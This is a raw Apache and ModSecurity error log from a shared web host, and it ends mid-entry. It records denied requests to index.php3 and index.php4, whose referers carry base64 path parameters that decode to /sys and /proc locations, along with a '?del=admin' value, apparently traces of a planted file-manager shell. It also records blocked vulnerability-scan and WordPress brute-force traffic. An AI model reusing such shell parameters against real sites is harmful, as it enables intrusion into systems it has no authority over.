https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:15:27.165444 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:15:27.594633 2026] [security2:error] [pid 648189:tid 648334] [remote 185.68.18.52:49074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.18.68.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "semakulajeffrey.com"] [uri "/wp-login.php"] [unique_id "ai3yn1WSojQL4F7upKBUxQAA4G8"] [Sat Jun 13 18:15:27.668012 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS93YWtldXAvd2FrZXVwMzM= [Sat Jun 13 18:15:27.668463 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS93YWtldXAvd2FrZXVwMzM= [Sat Jun 13 18:15:27.797284 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.15:51555] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:27.797709 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.15:51555] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:27.819210 2026] [security2:error] [pid 648189:tid 648281] [remote 17.246.15.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yn1WSojQL4F7upKBUygAA_zs"] [Sat Jun 13 18:15:27.919587 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.95:20909] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:27.919883 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.95:20909] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:27.992370 2026] [security2:error] [pid 648189:tid 648316] [remote 216.73.216.182:16754] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3yn1WSojQL4F7upKBUzQAA114"] [Sat Jun 13 18:15:28.189525 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:15:28.190004 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:15:28.349616 2026] [access_compat:error] [pid 648189:tid 648340] [remote 74.7.242.16:43776] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=admin&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:15:28.350064 2026] [access_compat:error] [pid 648189:tid 648340] [remote 74.7.242.16:43776] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=admin&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:15:28.393634 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.28:30702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:28.394087 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.28:30702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:28.447472 2026] [security2:error] [pid 648189:tid 648335] [remote 17.241.227.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yoFWSojQL4F7upKBU1QAAiXA"] [Sat Jun 13 18:15:28.597271 2026] [access_compat:error] [pid 648189:tid 648345] [remote 57.141.14.68:60918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:28.597757 2026] [access_compat:error] [pid 648189:tid 648345] [remote 57.141.14.68:60918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:28.657303 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.12:62674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:28.657580 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.12:62674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:28.704205 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:15:28.704571 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:15:29.204437 2026] [access_compat:error] [pid 646876:tid 646934] [remote 57.141.14.106:25421] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:29.204916 2026] [access_compat:error] [pid 646876:tid 646934] [remote 57.141.14.106:25421] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:29.257454 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjI0L3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:15:29.257906 2026] [access_compat:error] [pid 646876:tid 646937] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjI0L3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:15:29.274495 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.102:26009] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:29.274975 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.102:26009] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:29.557785 2026] [security2:error] [pid 648189:tid 648294] [remote 207.46.13.63:36858] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.13.46.207.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/content/histanddynasties/content/grammar/Ming/content/grammar/Liao/NorthernWei/EasternJin/WesternJin/Yuan/SouthernSong/WesternXia/Sui/SouthernLiang/SouthernChen/kangxi.php"] [unique_id "ai3yoVWSojQL4F7upKBU6gAAmUg"] [Sat Jun 13 18:15:29.684074 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.111:41298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:29.684690 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.111:41298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:29.789147 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:29.789593 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:30.206084 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.56:44274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:30.206513 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.56:44274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:30.299147 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2lk [Sat Jun 13 18:15:30.299596 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2lk [Sat Jun 13 18:15:30.455018 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.52:28558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:30.455451 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.52:28558] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:30.778225 2026] [security2:error] [pid 646876:tid 647019] [client 172.56.168.133:52037] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yotyTkdrNlD40tSGgTgAAAAs"] [Sat Jun 13 18:15:30.782469 2026] [security2:error] [pid 646876:tid 647019] [client 172.56.168.133:52037] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yotyTkdrNlD40tSGgTgAAAAs"] [Sat Jun 13 18:15:30.930642 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:15:30.931119 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:15:30.941360 2026] [security2:error] [pid 648189:tid 648227] [remote 17.246.23.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yolWSojQL4F7upKBVBwAAwgc"] [Sat Jun 13 18:15:31.054588 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.32:31751] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:31.055085 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.32:31751] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:31.168152 2026] [security2:error] [pid 646876:tid 647110] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file 